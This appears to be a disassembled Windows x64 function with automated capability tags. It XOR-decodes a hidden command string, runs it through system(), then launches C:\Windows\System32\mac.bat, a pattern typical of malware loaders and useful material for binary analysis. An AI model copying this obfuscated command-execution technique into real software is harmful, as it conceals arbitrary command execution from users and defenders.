Function at 0x140046240
Capabilities:
Create process on windows
Encode data using xor
Execute command

Disassembly:
mov r11, rsp
push rbp
lea rbp, [r11 - 0x38]
sub rsp, 0x130
mov rax, qword [0x1401831c0]
xor rax, rsp
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [0x140168180]
movups xmm1, xmmword [0x140168190]
mov eax, dword [0x1401681d0]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x1401681a0]
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rdi
xor edi, edi
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, edi
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x1401681c0]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x1401681b0]
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x10], eax
jl 0x1400463ee
movdqa xmm0, xmmword [str.7777777777777777]
lea rdx, [rbp - 0x5c]
movdqa xmm4, xmmword [0x140168500]
movdqa xmm3, xmmword [0x140168900]
movdqa xmm5, xmmword [0x140168530]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
movaps xmmword [r11 - 0x18], xmm6
movdqa xmm6, xmmword [0x140168540]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm4
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x50
jl 0x140046300
movaps xmm6, xmmword [rsp + 0x120]
cmp ecx, 0x54
jge 0x14004642d
movsxd rax, ecx
lea r8, [rbp - 0x60]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0x54
jl 0x140046400
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
mov dword [rsp + 0x28], edi
xor eax, eax
mov qword [rsp + 0x20], rdi
movups xmmword [rbp - 0x60], xmm0
mov r9d, reloc.WLDAP32.dll_Ordinal_27
lea r8, str.C:WindowsSystem32mac.bat
movups xmmword [rbp - 0x30], xmm0
xor edx, edx
mov ecx, 0xfde9
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x60], 0x68
mov dword [rbp - 0x24], 1
mov word [rbp - 0x20], di
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp], rax
movups xmmword [rbp - 0x40], xmm0
mov qword [rsp + 0x70], rax
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
xorps xmm0, xmm0
xorps xmm1, xmm1
lea rcx, [rbp - 0x80]
mov r8, rbx
movups xmmword [rbp - 0x80], xmm0
movdqu xmmword [rbp - 0x70], xmm1
call fcn.14004b5f0
cmp qword [rbp - 0x68], 7
lea rdx, [rbp - 0x80]
mov dword [rsp + 0x28], ebx
lea r8, str.C:WindowsSystem32mac.bat
cmova rdx, qword [rbp - 0x80]
mov r9d, reloc.WLDAP32.dll_Ordinal_27
mov qword [rsp + 0x20], rdx
mov ecx, 0xfde9
xor edx, edx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp qword [rbp - 0x68], 7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rdx, [rbp - 0x80]
cmova rdx, qword [rbp - 0x80]
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x60]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x68]
mov rdi, qword [rsp + 0x148]
mov rbx, qword [rsp + 0x140]
cmp rdx, 7
jbe 0x1400465a0
mov rcx, qword [rbp - 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004659b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004659b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14012d234
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.14012cb00
add rsp, 0x130
pop rbp
ret